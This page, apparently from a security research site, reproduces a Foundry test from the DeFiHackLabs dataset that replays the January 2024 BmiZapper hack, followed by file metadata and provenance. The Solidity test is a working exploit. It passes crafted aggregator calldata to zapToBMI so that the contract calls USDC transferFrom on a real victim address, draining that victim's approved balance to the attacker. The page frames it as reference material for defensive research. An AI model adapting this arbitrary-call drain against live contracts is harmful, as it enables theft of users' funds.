Public reproduction file
src/test/2024-01/Bmizapper_exp.sol
Public reproduction file for dataset entry BmiZapper.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7/*8 @KeyInfo9 - Total Lost: 114,000 USDC10 - Attacker: https://etherscan.io/address/0x63136677355840f26c0695dd6de5c9e4f514f8e811 - Attack Contract: https://etherscan.io/address/0xae5919160a646f5d80d89f7aae35a2ca7473844012 - Vuln Contract: https://etherscan.io/address/0x4622aff8e521a444c9301da0efd05f6b482221b813 - Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x97201900198d0054a2f7a914f5625591feb6a18e7fc6bb4f0c964b967a6c15f614 - Analysis: https://x.com/0xmstore/status/1747756898172952725?s=2015*/17interface IBMIZapper {18 function zapToBMI(19 address _from,20 uint256 _amount,21 address _fromUnderlying,22 uint256 _fromUnderlyingAmount,23 uint256 _minBMIRecv,24 address[] calldata _bmiConstituents,25 uint256[] calldata _bmiConstituentsWeightings,26 address _aggregator,27 bytes calldata _aggregatorData,28 bool refundDust29 ) external returns (uint256);30}32contract ExploitTest is Test {33 IBMIZapper bmiZapper = IBMIZapper(0x4622aFF8E521A444C9301dA0efD05f6b482221b8);34 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);35 IERC20 BUSD = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);37 address victim = 0x07d7685bECB1a72a1Cf614b4067419334C9f1b4d;38 address attacker = address(this);39 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);41 function setUp() public {42 cheats.createSelectFork("mainnet", 19_029_290 - 1);43 cheats.label(address(bmiZapper), "BMIZapper");44 cheats.label(address(USDC), "USDC");45 }47 function testExploit() external {48 emit log_named_decimal_uint("Victim's USDC balance before exploit", USDC.balanceOf(victim), USDC.decimals());50 uint256 victimBalance = USDC.balanceOf(victim);52 address[] memory bmiConstituents = new address[](0); // Empty bmiConstituents array53 uint256[] memory bmiConstituentsWeightings = new uint256[](1);54 bmiConstituentsWeightings[0] = 1e18; // 100% weighting for demonstration56 // Craft malicious data to call a transferFrom function in the USDC token contract58 bytes memory maliciousCallData =59 abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, attacker, victimBalance);61 // Call zapToBMI with malicious aggregator data63 bmiZapper.zapToBMI(64 address(BUSD), // BUSD65 0, // _amount66 address(0), // _fromUnderlying67 0, // _fromUnderlyingAmount68 0, // _minBMIRecv69 bmiConstituents,70 bmiConstituentsWeightings,71 address(USDC), // _aggregator72 maliciousCallData, // _aggregatorData73 true74 );76 emit log_named_decimal_uint("Victim's USDC balance after exploit", USDC.balanceOf(victim), USDC.decimals());78 emit log_named_decimal_uint("Attacker's USDC balance after exploit", USDC.balanceOf(attacker), USDC.decimals());79 }80}Analysis
Dataset entry
Public Foundry test for “BmiZapper” (2024-01-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
- src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
- src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
- src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
- src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
- src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
- src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
- src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
- src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
- src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
- src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
- src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
- src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
- src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
- src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
- src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines
Also imports external libraries: forge-std/Test.sol.
File record
- Name
- BmiZapper
- Path
- src/test/2024-01/Bmizapper_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9c17f77741a70a91a078d42550f65f0e4330b964
- Language
- Solidity
- Size
- 81 lines
- Date
- 2024-01-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-01/Bmizapper_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9c17f77741a70a91a078d42550f65f0e4330b964, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.